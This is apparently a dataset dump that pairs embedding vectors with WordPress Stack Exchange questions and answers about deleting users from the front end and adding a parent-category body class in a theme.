0.003322601318359375,
0.02081298828125,
0.0296630859375,
-0.0182647705078125,
-0.06268310546875,
-0.02215576171875,
-0.028045654296875,
0.00458526611328125,
0.0197296142578125,
-0.0280914306640625,
0.034637451171875,
0.037994384765625,
-0.04864501953125,
0.016510009765625,
-0.00975799560546875,
-0.0035572052001953125,
0.0007801055908203125,
-0.057037353515625,
-0.029815673828125,
-0.0229644775390625,
0.08575439453125,
-0.003917694091796875,
0.0174560546875,
-0.0284576416015625,
-0.01537322998046875,
-0.041015625,
-0.047607421875,
0.01800537109375,
0.0196075439453125,
-0.0175628662109375,
0.049560546875,
-0.0096893310546875,
0.0186004638671875,
-0.0246124267578125,
-0.0289306640625,
-0.007221221923828125,
-0.0307159423828125,
0.0191497802734375,
0.0302886962890625,
-0.03515625,
-0.0181121826171875,
0.0204620361328125,
-0.024505615234375,
-0.04888916015625,
0.0198516845703125,
0.00899505615234375,
-0.0322265625,
0.02783203125,
-0.000033020973205566406,
0.0161895751953125,
-0.021026611328125,
-0.01503753662109375,
0.0075836181640625,
0.019744873046875,
0.002788543701171875,
-0.002079010009765625,
-0.007843017578125,
0.020721435546875,
-0.0016050338745117188,
0.014556884765625,
0.0104217529296875,
0.021514892578125,
-0.00788116455078125,
0.06671142578125,
-0.0230865478515625,
-0.023468017578125,
-0.01727294921875,
0.01261138916015625,
-0.0020961761474609375,
0.005504608154296875,
0.042999267578125,
-0.01502227783203125,
-0.00980377197265625,
0.0117034912109375,
-0.0196685791015625,
-0.04022216796875,
0.02923583984375,
0.0058441162109375,
0.007671356201171875,
0.0188140869140625
] |
c66ab1092cbf9eebf54681c7adc64bb33f087817
|
Wordpress Stackexchange
Q: What is the right way to include a wp-admin file in your theme? I'm trying to use wp_delete_user() in my theme, to allow a user to delete their account from the front-end.
Turns out that the wp_delete_user() is not defined unless /wp-admin/includes/user.php has been included.
Is there a right way to do this in WordPress? Something that uses get_bloginfo() or a global constant for example?
A: You need to add require_once statement at the beginning of your functions.php file:
require_once ABSPATH . 'wp-admin/includes/user.php';
|
Q: What is the right way to include a wp-admin file in your theme? I'm trying to use wp_delete_user() in my theme, to allow a user to delete their account from the front-end.
Turns out that the wp_delete_user() is not defined unless /wp-admin/includes/user.php has been included.
Is there a right way to do this in WordPress? Something that uses get_bloginfo() or a global constant for example?
A: You need to add require_once statement at the beginning of your functions.php file:
require_once ABSPATH . 'wp-admin/includes/user.php';
|
wordpress
|
{
"language": "en",
"length": 84,
"provenance": "stackexchange_00019.jsonl.gz:437778",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116366"
}
|
[
0.0657958984375,
0.00318145751953125,
-0.012908935546875,
-0.047027587890625,
0.0214385986328125,
-0.043365478515625,
0.0137176513671875,
-0.0247344970703125,
-0.00716400146484375,
0.0312042236328125,
-0.028778076171875,
-0.0031375885009765625,
0.032135009765625,
-0.001316070556640625,
-0.015716552734375,
-0.0240020751953125,
0.02471923828125,
-0.0208587646484375,
0.0199737548828125,
0.0049591064453125,
-0.00887298583984375,
0.033477783203125,
0.0097808837890625,
-0.0406494140625,
-0.0206298828125,
-0.020782470703125,
0.06158447265625,
-0.0166168212890625,
-0.0197296142578125,
-0.04254150390625,
0.0016231536865234375,
0.043853759765625,
-0.01525115966796875,
0.0185089111328125,
0.040802001953125,
-0.0015869140625,
-0.011688232421875,
0.034149169921875,
0.046875,
-0.0258941650390625,
0.00206756591796875,
0.01092529296875,
0.0011701583862304688,
0.037567138671875,
-0.006412506103515625,
-0.071044921875,
0.0178375244140625,
-0.05224609375,
0.01235198974609375,
0.0097503662109375,
0.03802490234375,
-0.04119873046875,
0.05340576171875,
-0.01457977294921875,
-0.02001953125,
0.0104217529296875,
0.031707763671875,
-0.00951385498046875,
0.046875,
-0.018341064453125,
-0.06610107421875,
-0.017242431640625,
0.032745361328125,
-0.048828125,
-0.00421142578125,
-0.03314208984375,
-0.031646728515625,
0.0313720703125,
-0.08526611328125,
-0.0189056396484375,
0.053680419921875,
-0.021636962890625,
0.002826690673828125,
0.00431060791015625,
-0.01412200927734375,
-0.0227203369140625,
0.034149169921875,
-0.01202392578125,
0.0098724365234375,
0.015960693359375,
-0.0125274658203125,
0.028778076171875,
-0.07196044921875,
-0.00920867919921875,
-0.00408935546875,
0.01207733154296875,
-0.01922607421875,
-0.017242431640625,
-0.042236328125,
-0.0198822021484375,
-0.033660888671875,
-0.0222930908203125,
-0.025970458984375,
-0.0186920166015625,
-0.0197601318359375,
0.003582000732421875,
0.03125,
0.06488037109375,
-0.0085601806640625,
0.0215606689453125,
-0.000018835067749023438,
-0.042327880859375,
0.0157928466796875,
-0.0322265625,
0.00322723388671875,
0.06634521484375,
-0.018035888671875,
0.03936767578125,
0.00408935546875,
0.0271453857421875,
0.02764892578125,
-0.08953857421875,
0.0247955322265625,
-0.06182861328125,
0.0198974609375,
0.0184783935546875,
-0.00891876220703125,
0.037506103515625,
0.0256195068359375,
0.0018367767333984375,
-0.00675201416015625,
-0.0086669921875,
-0.00965118408203125,
0.010223388671875,
-0.025177001953125,
-0.030364990234375,
-0.01458740234375,
0.005596160888671875,
0.01195526123046875,
0.02947998046875,
-0.0187225341796875,
0.0081787109375,
0.036590576171875,
-0.01232147216796875,
-0.0135498046875,
-0.0343017578125,
0.017852783203125,
0.01343536376953125,
0.0036945343017578125,
-0.0171051025390625,
0.03900146484375,
-0.014251708984375,
-0.01552581787109375,
0.01155853271484375,
0.0038661956787109375,
0.0416259765625,
0.00875091552734375,
-0.026519775390625,
0.0192413330078125,
-0.04608154296875,
-0.025970458984375,
-0.040557861328125,
-0.011932373046875,
0.0292205810546875,
0.039215087890625,
0.03564453125,
0.030242919921875,
-0.00832366943359375,
0.002048492431640625,
0.010711669921875,
0.0223388671875,
-0.0157470703125,
-0.005016326904296875,
-0.008544921875,
-0.043212890625,
0.0191802978515625,
-0.03704833984375,
-0.01139068603515625,
0.0347900390625,
-0.0218658447265625,
0.038818359375,
-0.04412841796875,
0.0214996337890625,
0.04931640625,
0.0214691162109375,
0.0601806640625,
0.026519775390625,
0.0160369873046875,
-0.005771636962890625,
0.04364013671875,
-0.0113677978515625,
-0.0263671875,
0.04925537109375,
-0.02459716796875,
-0.042388916015625,
-0.032745361328125,
0.03155517578125,
0.053070068359375,
0.0195770263671875,
0.033447265625,
0.033416748046875,
0.018798828125,
0.04754638671875,
0.01338958740234375,
-0.00986480712890625,
-0.07159423828125,
0.0008449554443359375,
-0.0168609619140625,
-0.0306396484375,
0.027587890625,
-0.004901885986328125,
-0.0125732421875,
0.0159912109375,
-0.019317626953125,
-0.048248291015625,
0.002819061279296875,
-0.032470703125,
0.045745849609375,
0.0112152099609375,
0.023162841796875,
-0.0013580322265625,
0.0183563232421875,
-0.023651123046875,
-0.041290283203125,
-0.0246429443359375,
0.0196685791015625,
0.00009900331497192383,
0.07672119140625,
0.01009368896484375,
0.061065673828125,
-0.007175445556640625,
-0.0382080078125,
0.0028667449951171875,
-0.01364898681640625,
0.0247039794921875,
0.00789642333984375,
-0.0175933837890625,
-0.0177001953125,
0.0148773193359375,
-0.007366180419921875,
-0.0017042160034179688,
0.047882080078125,
0.004962921142578125,
0.01160430908203125,
-0.025360107421875,
0.00543212890625,
-0.011077880859375,
-0.04534912109375,
-0.00832366943359375,
0.042022705078125,
0.0206146240234375,
0.0200347900390625,
-0.01230621337890625,
0.02825927734375,
0.0102996826171875,
-0.047393798828125,
0.0092010498046875,
0.01126861572265625,
-0.0076141357421875,
0.048828125,
-0.0006775856018066406,
-0.00551605224609375,
-0.003856658935546875,
-0.10382080078125,
-0.0238037109375,
0.046112060546875,
-0.006565093994140625,
-0.0026702880859375,
-0.00832366943359375,
-0.0042877197265625,
0.004398345947265625,
-0.06866455078125,
-0.03515625,
-0.0213775634765625,
0.0264129638671875,
-0.01461029052734375,
-0.000461578369140625,
0.0010309219360351562,
-0.003101348876953125,
-0.0014629364013671875,
0.01160430908203125,
-0.03582763671875,
-0.0105438232421875,
0.0098419189453125,
0.0254669189453125,
0.0203399658203125,
-0.047607421875,
0.01552581787109375,
0.01010894775390625,
-0.008758544921875,
-0.0137481689453125,
-0.0021572113037109375,
0.00042700767517089844,
-0.0015592575073242188,
0.005573272705078125,
-0.015625,
0.0352783203125,
0.015869140625,
0.039337158203125,
-0.0274810791015625,
0.020172119140625,
0.003978729248046875,
-0.0266571044921875,
0.056915283203125,
-0.0345458984375,
-0.04144287109375,
0.00726318359375,
0.0002460479736328125,
-0.0002961158752441406,
0.00788116455078125,
0.0312347412109375,
0.05670166015625,
0.039306640625,
-0.03448486328125,
0.0159149169921875,
0.0311279296875,
0.0256195068359375,
0.01239776611328125,
0.01319122314453125,
-0.018463134765625,
-0.00685882568359375,
0.0185089111328125,
0.0243072509765625,
0.037750244140625,
-0.00823211669921875,
-0.040435791015625,
0.0028839111328125,
0.0019016265869140625,
-0.05755615234375,
-0.0311126708984375,
-0.014801025390625,
-0.067138671875,
0.007080078125,
0.00638580322265625,
-0.0333251953125,
0.0058746337890625,
0.0384521484375,
0.013397216796875,
-0.03948974609375,
-0.0193023681640625,
-0.00959014892578125,
-0.056854248046875,
-0.052154541015625,
-0.026641845703125,
0.005466461181640625,
0.005443572998046875,
-0.005100250244140625,
0.07855224609375,
-0.0020732879638671875,
-0.071533203125,
-0.01541900634765625,
0.01971435546875,
-0.0178070068359375,
0.0240325927734375,
0.036956787109375,
-0.0186920166015625,
-0.00594329833984375,
0.0268402099609375,
0.01036834716796875,
-0.0003554821014404297,
-0.029083251953125,
-0.04620361328125,
-0.0000374913215637207,
-0.036163330078125,
0.0169830322265625,
0.01232147216796875,
-0.028076171875,
-0.05340576171875,
0.0097503662109375,
-0.066162109375,
0.020477294921875,
0.01556396484375,
-0.0006785392761230469,
0.0157318115234375,
-0.037872314453125,
-0.029571533203125,
0.032501220703125,
-0.005832672119140625,
0.023193359375,
0.044189453125,
-0.0191497802734375,
0.022552490234375,
-0.00687408447265625,
-0.0051116943359375,
0.0027446746826171875,
0.004730224609375,
0.033447265625,
-0.017333984375,
-0.03668212890625,
-0.01274871826171875,
0.01885986328125,
-0.001621246337890625,
-0.01007843017578125,
-0.019439697265625,
-0.036041259765625,
0.055908203125,
0.02789306640625,
0.0229034423828125,
-0.036376953125,
-0.04193115234375,
-0.0300140380859375,
0.07098388671875,
0.007110595703125,
-0.012054443359375,
-0.0016851425170898438,
0.0076141357421875,
-0.047515869140625,
0.0040740966796875,
-0.05047607421875,
0.0009198188781738281,
-0.043365478515625,
-0.0193328857421875,
0.0009064674377441406,
-0.016876220703125,
-0.02032470703125,
0.062347412109375,
-0.03131103515625,
-0.01328277587890625,
0.03411865234375,
-0.10406494140625,
0.033905029296875,
0.0241241455078125,
-0.003353118896484375,
-0.006168365478515625,
-0.016815185546875,
-0.07275390625,
-0.041168212890625,
0.0041046142578125,
-0.07745361328125,
0.060455322265625,
0.050994873046875,
-0.01428985595703125,
-0.01806640625,
0.0037689208984375,
-0.00405120849609375,
-0.022796630859375,
0.0084228515625,
0.01389312744140625,
-0.022125244140625,
0.0246734619140625,
0.00698089599609375,
-0.003910064697265625,
-0.015960693359375,
-0.010650634765625,
-0.03704833984375,
0.01091766357421875,
-0.0219879150390625,
0.0214691162109375,
0.019989013671875,
-0.0302276611328125,
-0.027557373046875,
-0.019287109375,
-0.031951904296875,
0.0159454345703125,
-0.01166534423828125,
-0.00835418701171875,
-0.0192413330078125,
-0.0318603515625,
0.05029296875,
-0.01169586181640625,
-0.0017175674438476562,
0.0195159912109375,
0.08294677734375,
0.0016622543334960938,
-0.015411376953125,
-0.07525634765625,
0.0174560546875,
0.039215087890625,
-0.0455322265625,
0.058868408203125,
0.061492919921875,
-0.0142974853515625,
0.04327392578125,
0.01438140869140625,
0.0322265625,
-0.0390625,
0.020355224609375,
-0.01898193359375,
-0.047271728515625,
0.0390625,
-0.00975799560546875,
0.034423828125,
0.010589599609375,
0.0106048583984375,
-0.018585205078125,
0.058837890625,
0.0258941650390625,
-0.0347900390625,
0.0149993896484375,
-0.00952911376953125,
-0.01232147216796875,
-0.0010986328125,
-0.04754638671875,
0.03192138671875,
0.00533294677734375,
0.0115966796875,
-0.01041412353515625,
-0.0035991668701171875,
-0.00559234619140625,
-0.0063323974609375,
0.00036525726318359375,
0.003910064697265625,
0.01507568359375,
0.0177154541015625,
0.00786590576171875,
-0.0147857666015625,
-0.024322509765625,
0.076416015625,
0.0194549560546875,
-0.0256805419921875,
-0.0016632080078125,
-0.01253509521484375,
0.0248870849609375,
0.003452301025390625,
-0.0001398324966430664,
0.03863525390625,
0.0264892578125,
-0.01123809814453125,
-0.0080718994140625,
-0.014007568359375,
-0.00194549560546875,
-0.02899169921875,
0.022613525390625,
-0.00585174560546875,
0.005702972412109375,
0.0252532958984375,
0.06427001953125,
0.006717681884765625,
0.054443359375,
-0.022308349609375,
0.06488037109375,
0.0238037109375,
0.01995849609375,
0.0090789794921875,
0.00711822509765625,
-0.0036640167236328125,
0.00019109249114990234,
-0.029937744140625,
-0.0247344970703125,
-0.00908660888671875,
0.0171661376953125,
0.038604736328125,
0.001453399658203125,
-0.0002359151840209961,
-0.008758544921875,
-0.01451873779296875,
-0.0033473968505859375,
0.03814697265625,
-0.011444091796875,
-0.0770263671875,
-0.01526641845703125,
0.0298004150390625,
0.022735595703125,
-0.04827880859375,
-0.0200958251953125,
0.024078369140625,
-0.038543701171875,
-0.0009245872497558594,
0.03509521484375,
-0.0233001708984375,
-0.018035888671875,
-0.0216064453125,
0.00428009033203125,
-0.007293701171875,
-0.0147857666015625,
-0.00402069091796875,
-0.007015228271484375,
-0.021881103515625,
-0.0225982666015625,
0.0511474609375,
0.0016298294067382812,
0.006114959716796875,
-0.0135498046875,
-0.0152130126953125,
-0.0287628173828125,
-0.0007948875427246094,
0.054443359375,
0.0255889892578125,
-0.056915283203125,
0.01534271240234375,
-0.039642333984375,
-0.003314971923828125,
-0.0220947265625,
-0.0216827392578125,
-0.044464111328125,
-0.0183868408203125,
-0.0016164779663085938,
0.00839996337890625,
0.0053253173828125,
0.0148468017578125,
-0.018341064453125,
0.05706787109375,
0.0105743408203125,
0.0616455078125,
-0.0157470703125,
0.056549072265625,
0.006134033203125,
0.042205810546875,
0.0250091552734375,
0.026611328125,
-0.006175994873046875,
-0.029693603515625,
0.034698486328125,
-0.006633758544921875,
-0.03741455078125,
-0.04852294921875,
-0.00450897216796875,
-0.01094818115234375,
0.055023193359375,
-0.02685546875,
0.00621795654296875,
-0.00911712646484375,
-0.00887298583984375,
-0.0115203857421875,
0.041595458984375,
0.0115509033203125,
0.015899658203125,
-0.0116729736328125,
-0.0127410888671875,
0.009490966796875,
-0.01172637939453125,
-0.03680419921875,
0.0146942138671875,
0.0047607421875,
0.0018491744995117188,
0.028533935546875,
-0.058990478515625,
0.08343505859375,
0.050811767578125,
-0.0179595947265625,
0.0277862548828125,
0.02587890625,
0.0082244873046875,
-0.01399993896484375,
0.035614013671875,
-0.032623291015625,
-0.033050537109375,
0.01357269287109375,
-0.004604339599609375,
-0.01227569580078125,
-0.004047393798828125,
-0.01218414306640625,
0.026031494140625,
0.0853271484375,
0.07159423828125,
-0.1070556640625,
0.0030670166015625,
-0.0194854736328125,
-0.0019931793212890625,
0.08758544921875,
-0.0101165771484375,
-0.010162353515625,
-0.021575927734375,
0.0699462890625,
-0.0221710205078125,
0.0013666152954101562,
0.033966064453125,
-0.0009250640869140625,
-0.01334381103515625,
0.0032405853271484375,
-0.00276947021484375,
0.027130126953125,
0.01145172119140625,
0.037109375,
-0.0164642333984375,
0.04888916015625,
0.0149993896484375,
0.016571044921875,
-0.0106353759765625,
0.00908660888671875,
-0.033477783203125,
-0.0019512176513671875,
-0.03802490234375,
-0.036468505859375,
0.041717529296875,
0.0169219970703125,
0.047210693359375,
0.05926513671875,
0.01219940185546875,
0.01678466796875,
0.01055908203125,
0.0250396728515625,
-0.0321044921875,
-0.04302978515625,
0.020782470703125,
0.006519317626953125,
-0.0697021484375,
0.02667236328125,
-0.03338623046875,
-0.04754638671875,
-0.0250701904296875,
-0.0482177734375,
0.08392333984375,
-0.0191497802734375,
-0.00974273681640625,
0.031890869140625,
0.020782470703125,
-0.03570556640625,
-0.0046234130859375,
0.04541015625,
-0.049591064453125,
-0.0159149169921875,
0.01873779296875,
-0.02581787109375,
-0.0293731689453125,
-0.0030155181884765625,
-0.046875,
0.060638427734375,
-0.00348663330078125,
0.01529693603515625,
-0.0006260871887207031,
0.0238494873046875,
0.005584716796875,
0.034454345703125,
-0.0272979736328125,
0.050262451171875,
0.0166778564453125,
0.0229949951171875,
-0.0408935546875,
-0.0030765533447265625,
-0.005420684814453125,
0.043548583984375,
0.05755615234375,
0.0224761962890625,
-0.0029697418212890625,
-0.0292510986328125,
0.0242156982421875,
0.030181884765625,
-0.01166534423828125,
0.0254364013671875,
0.00826263427734375,
-0.01387786865234375,
-0.01097869873046875,
0.0144805908203125,
0.040130615234375,
-0.048858642578125,
-0.041900634765625,
0.026336669921875,
-0.0012760162353515625,
-0.0025844573974609375,
0.01467132568359375,
0.0115966796875,
-0.037322998046875,
0.00362396240234375,
0.0284271240234375,
-0.057861328125,
-0.00771331787109375,
-0.0015478134155273438,
-0.0103912353515625,
-0.0184783935546875,
-0.00368499755859375,
-0.00962066650390625,
0.0269927978515625,
0.00921630859375,
-0.0019702911376953125,
0.036651611328125,
0.01543426513671875,
-0.0015096664428710938,
-0.04278564453125,
-0.00867462158203125,
0.01096343994140625,
-0.0219879150390625,
0.039764404296875,
0.058441162109375,
0.04266357421875,
0.00250244140625,
0.0068817138671875,
0.029815673828125,
0.04571533203125,
-0.0325927734375,
-0.048980712890625,
0.0047149658203125,
0.0248870849609375,
0.021331787109375,
0.034637451171875,
0.034332275390625,
-0.0042572021484375,
0.0275421142578125,
-0.03564453125,
0.005985260009765625,
0.0227508544921875,
-0.00872039794921875,
0.01079559326171875,
0.0175018310546875,
0.0006022453308105469,
0.023834228515625,
-0.01108551025390625,
0.021392822265625,
0.01465606689453125,
-0.007778167724609375,
-0.01242828369140625,
-0.01067352294921875,
0.0272674560546875,
0.022735595703125,
-0.0102996826171875,
0.041534423828125,
0.01137542724609375,
-0.0172119140625,
-0.035888671875,
-0.06427001953125,
0.04315185546875,
0.0280303955078125,
-0.0264434814453125,
-0.01983642578125,
0.006809234619140625,
0.0283050537109375,
-0.03192138671875,
-0.0413818359375,
-0.02490234375,
-0.0300750732421875,
-0.01348876953125,
-0.012969970703125,
0.007129669189453125,
0.020782470703125,
0.00470733642578125,
-0.0189361572265625,
0.00531005859375,
0.04156494140625,
0.0010356903076171875,
-0.00579071044921875,
0.020416259765625,
-0.03619384765625,
0.025848388671875,
0.004863739013671875,
0.046356201171875,
0.04168701171875,
-0.035400390625,
0.016082763671875,
-0.04266357421875,
-0.04571533203125,
-0.0003829002380371094,
0.0266876220703125,
-0.0166778564453125,
0.0214996337890625,
0.016571044921875,
-0.0006260871887207031,
0.015289306640625,
0.0160064697265625,
-0.014251708984375,
-0.048675537109375,
0.037933349609375,
-0.02764892578125,
0.01424407958984375,
-0.01324462890625,
0.02423095703125,
0.0428466796875,
0.021209716796875,
0.043365478515625,
-0.01953125,
0.0198211669921875,
-0.03179931640625,
0.0175933837890625,
-0.0245361328125,
-0.0369873046875,
0.0238037109375,
0.018096923828125,
-0.005016326904296875,
-0.006072998046875,
-0.07275390625,
0.0257415771484375,
0.01399993896484375,
-0.018463134765625,
0.0191497802734375,
0.024261474609375,
0.0024566650390625,
-0.0289306640625,
0.03485107421875,
-0.0088653564453125,
-0.03387451171875,
-0.01190948486328125,
0.0240020751953125,
0.01690673828125,
0.016754150390625,
-0.04937744140625,
-0.015167236328125,
0.0413818359375,
-0.045196533203125,
0.004955291748046875,
0.0002071857452392578,
-0.015960693359375,
0.01248931884765625,
0.049468994140625,
-0.00811004638671875,
-0.014129638671875,
-0.016204833984375,
0.020416259765625,
-0.0127716064453125,
0.047576904296875,
0.004604339599609375,
-0.0216217041015625,
0.00850677490234375,
-0.0011444091796875,
0.06201171875,
0.0006451606750488281,
0.0215911865234375,
-0.0258026123046875,
0.02618408203125,
0.0251617431640625,
-0.0113525390625,
-0.034271240234375,
-0.018951416015625,
-0.02105712890625,
0.024383544921875,
-0.036865234375,
-0.0635986328125,
-0.130126953125,
0.0450439453125,
0.044769287109375,
0.0083160400390625,
-0.0897216796875,
0.0562744140625,
-0.0254058837890625,
0.0682373046875,
-0.02935791015625,
0.0006551742553710938,
0.00452423095703125,
0.04119873046875,
-0.049835205078125,
-0.0208587646484375,
-0.030731201171875,
-0.001453399658203125,
-0.050048828125,
0.02423095703125,
0.060760498046875,
-0.0178985595703125,
-0.0250091552734375,
0.0210723876953125,
-0.0115203857421875,
0.064453125,
-0.062347412109375,
-0.0235595703125,
-0.0022869110107421875,
0.022613525390625,
0.01192474365234375,
-0.058380126953125,
-0.0293426513671875,
-0.007724761962890625,
0.027069091796875,
-0.010162353515625,
0.005565643310546875,
0.0243377685546875,
-0.05718994140625,
-0.121337890625,
0.057525634765625,
-0.0177764892578125,
-0.05810546875,
-0.0020236968994140625,
-0.008575439453125,
-0.0006532669067382812,
-0.008453369140625,
-0.005138397216796875,
-0.0288543701171875,
-0.0212554931640625,
0.032440185546875,
0.012603759765625,
-0.00533294677734375,
0.03204345703125,
-0.0049896240234375,
-0.01329803466796875,
0.0007357597351074219,
0.0174102783203125,
-0.0135345458984375,
0.022125244140625,
-0.034576416015625,
0.06024169921875,
0.07421875,
-0.00624847412109375,
-0.00783538818359375,
0.0093994140625,
-0.054718017578125,
-0.0435791015625,
-0.052337646484375,
0.0155029296875,
-0.0032062530517578125,
0.09747314453125,
0.0249176025390625,
0.00507354736328125,
-0.0293426513671875,
-0.045013427734375,
-0.0306854248046875,
0.01210784912109375,
0.011077880859375,
0.00701141357421875,
-0.05548095703125,
0.0174560546875,
0.0188751220703125,
-0.041229248046875,
-0.00896453857421875,
0.004291534423828125,
-0.056304931640625,
0.0201416015625,
-0.0295867919921875,
-0.01849365234375,
-0.01152801513671875,
-0.045257568359375,
0.05145263671875,
-0.0277252197265625,
-0.01511383056640625,
-0.0041656494140625,
0.03387451171875,
0.004058837890625,
-0.00849151611328125,
0.00775146484375,
0.0019588470458984375,
-0.061248779296875,
0.021636962890625,
-0.0157470703125,
0.05126953125,
-0.058868408203125,
-0.03448486328125,
0.02984619140625,
0.01285552978515625,
-0.0166015625,
0.024566650390625,
0.0259246826171875,
0.08392333984375,
-0.0010547637939453125,
-0.0005207061767578125,
0.000621795654296875,
0.06640625,
-0.01009368896484375,
0.046600341796875,
0.0149078369140625,
-0.02606201171875,
0.036468505859375,
-0.0035266876220703125,
-0.023223876953125,
0.0121307373046875,
-0.01123809814453125,
-0.062103271484375,
0.0294342041015625,
0.056854248046875,
0.04766845703125,
0.00688934326171875
] |
9d50cfb8d34034cf89bed7cf42248e10e256dff8
|
Wordpress Stackexchange
Q: Add body class of category parent I am not a coder, but I usually get by with Wordpress by doing my research and find my solution. I can't find what I need to do this time so I have attempted to crib together some code - what I am attempting to do is, when I am on the Category Archive, I want to add a body class of the category parent. This is what I have tried and it is working apart from I am getting the parents category ID, but I want the slug/nicename:
add_filter('body_class','hw_custom_body_class');
function hw_custom_body_class($classes){
if(is_category()){
$categories = get_the_category();
$category = strtolower($categories[0]->category_parent);
$classes[]='category-'.$category;
return $classes; }}
A: Use get_ancestors() to get the parent terms. Here is an excerpt from my plugin T5 Parent Terms in body_class:
$ancestors = get_ancestors(
get_queried_object_id(),
get_queried_object()->taxonomy
);
if ( empty ( $ancestors ) )
{
return $classes;
}
foreach ( $ancestors as $ancestor )
{
$term = get_term( $ancestor, get_queried_object()->taxonomy );
$new_classes[] = esc_attr( "parent-$term->taxonomy-$term->slug" );
}
This will work with any taxonomy, not just categories.
|
Q: Add body class of category parent I am not a coder, but I usually get by with Wordpress by doing my research and find my solution. I can't find what I need to do this time so I have attempted to crib together some code - what I am attempting to do is, when I am on the Category Archive, I want to add a body class of the category parent. This is what I have tried and it is working apart from I am getting the parents category ID, but I want the slug/nicename:
add_filter('body_class','hw_custom_body_class');
function hw_custom_body_class($classes){
if(is_category()){
$categories = get_the_category();
$category = strtolower($categories[0]->category_parent);
$classes[]='category-'.$category;
return $classes; }}
A: Use get_ancestors() to get the parent terms. Here is an excerpt from my plugin T5 Parent Terms in body_class:
$ancestors = get_ancestors(
get_queried_object_id(),
get_queried_object()->taxonomy
);
if ( empty ( $ancestors ) )
{
return $classes;
}
foreach ( $ancestors as $ancestor )
{
$term = get_term( $ancestor, get_queried_object()->taxonomy );
$new_classes[] = esc_attr( "parent-$term->taxonomy-$term->slug" );
}
This will work with any taxonomy, not just categories.
A: The only way I got to display the parent category in the category's archive page was by following this approach: https://yonkov.github.io/post/add-parent-category-to-the-body-class/
Basically, you need to create a class variable and then pass it to the body class:
<?php
$this_category = get_category($cat);
//If category is parent, list it
if ($this_category->category_parent == 0) {
$this_category->category_parent = $cat;
} else { // If category is not parent, list parent category
$parent_category = get_category($this_category->category_parent);
//get the parent category id
$ParentCatId = $parent_category->cat_ID;
}
$childcategories = array();
$catx = $ParentCatId;
$cats = get_categories('parent='.$catx);
foreach($cats as $cat) {
$childcategories[] = $cat->term_id; } ;
//if it is a child category, add a class with the parent category id
if( is_category( $childcategories ) ) {
$class = 'parent-category-'.$ParentCatId;
}
?>
|
wordpress
|
{
"language": "en",
"length": 298,
"provenance": "stackexchange_00019.jsonl.gz:437815",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116511"
}
|
[
0.03826904296875,
0.0222625732421875,
-0.0312042236328125,
-0.058319091796875,
0.033477783203125,
-0.0281524658203125,
0.003589630126953125,
0.00801849365234375,
0.0186309814453125,
0.0128326416015625,
-0.0400390625,
0.006481170654296875,
0.0036220550537109375,
-0.03155517578125,
-0.0011987686157226562,
-0.0128021240234375,
0.039398193359375,
-0.0249481201171875,
0.0297698974609375,
0.0013675689697265625,
-0.01180267333984375,
0.0286865234375,
0.056854248046875,
0.0241851806640625,
0.0247650146484375,
-0.0028591156005859375,
0.046234130859375,
-0.054290771484375,
0.0235137939453125,
-0.023193359375,
0.0127716064453125,
-0.0065460205078125,
0.0142669677734375,
-0.00922393798828125,
0.035491943359375,
0.01308441162109375,
0.0225677490234375,
-0.00823974609375,
0.0188140869140625,
0.0284576416015625,
0.032135009765625,
-0.0099945068359375,
-0.003154754638671875,
0.0195465087890625,
-0.0201873779296875,
-0.0299224853515625,
0.01204681396484375,
-0.032501220703125,
0.0137176513671875,
-0.036041259765625,
0.020751953125,
0.002246856689453125,
0.03472900390625,
-0.02191162109375,
-0.01338958740234375,
0.020660400390625,
0.01004791259765625,
0.00017964839935302734,
0.0236663818359375,
-0.0151519775390625,
-0.03289794921875,
0.0081024169921875,
0.0182647705078125,
-0.01256561279296875,
0.0108184814453125,
-0.003284454345703125,
0.01480865478515625,
0.0233612060546875,
-0.033843994140625,
0.00208282470703125,
0.0230712890625,
-0.01178741455078125,
-0.01580810546875,
-0.009796142578125,
-0.00525665283203125,
-0.04205322265625,
0.0023193359375,
-0.043365478515625,
0.00453948974609375,
0.04736328125,
0.0117645263671875,
0.0221710205078125,
-0.0262603759765625,
0.0083160400390625,
-0.01059722900390625,
0.0123291015625,
-0.023101806640625,
-0.0253753662109375,
-0.0494384765625,
-0.0181427001953125,
-0.0239715576171875,
-0.07879638671875,
-0.014373779296875,
0.01263427734375,
0.00966644287109375,
-0.036041259765625,
0.023712158203125,
0.050994873046875,
-0.0325927734375,
0.031463623046875,
-0.0192413330078125,
-0.03753662109375,
0.0660400390625,
-0.06005859375,
0.03179931640625,
0.0251617431640625,
-0.0159454345703125,
-0.0116729736328125,
0.055755615234375,
0.0267333984375,
0.00661468505859375,
0.056243896484375,
-0.010986328125,
-0.0302886962890625,
-0.0128936767578125,
0.034149169921875,
-0.0306854248046875,
0.006336212158203125,
0.008056640625,
0.0136260986328125,
0.0157623291015625,
0.0286102294921875,
0.024688720703125,
-0.0172882080078125,
-0.009857177734375,
-0.004474639892578125,
-0.035247802734375,
-0.04583740234375,
0.043121337890625,
-0.06634521484375,
-0.041015625,
0.051605224609375,
0.07354736328125,
0.027496337890625,
0.02294921875,
0.0184478759765625,
0.01177215576171875,
-0.028076171875,
-0.01390838623046875,
-0.004520416259765625,
0.04052734375,
0.020965576171875,
0.02105712890625,
-0.006336212158203125,
0.0108489990234375,
-0.0147857666015625,
0.016815185546875,
0.034881591796875,
0.00380706787109375,
0.002773284912109375,
0.01055145263671875,
-0.00786590576171875,
0.0625,
-0.01447296142578125,
-0.093505859375,
-0.0247650146484375,
-0.036834716796875,
-0.02008056640625,
-0.037017822265625,
-0.053253173828125,
0.0015287399291992188,
-0.002666473388671875,
0.036163330078125,
-0.05877685546875,
-0.05584716796875,
0.0020771026611328125,
-0.071044921875,
-0.01715087890625,
0.01274871826171875,
-0.0231781005859375,
0.05816650390625,
-0.0272064208984375,
-0.0210723876953125,
-0.004573822021484375,
0.004093170166015625,
0.00750732421875,
-0.048309326171875,
0.00530242919921875,
0.033477783203125,
-0.036865234375,
-0.0170440673828125,
-0.04425048828125,
-0.0137176513671875,
0.0283050537109375,
-0.0254669189453125,
0.02166748046875,
-0.00006777048110961914,
0.0226287841796875,
-0.0019216537475585938,
0.0182037353515625,
0.0006880760192871094,
0.0333251953125,
-0.07403564453125,
0.027191162109375,
-0.01235198974609375,
0.011383056640625,
-0.0071868896484375,
0.021484375,
-0.006221771240234375,
-0.01166534423828125,
0.014923095703125,
-0.014373779296875,
0.02703857421875,
-0.006580352783203125,
-0.032440185546875,
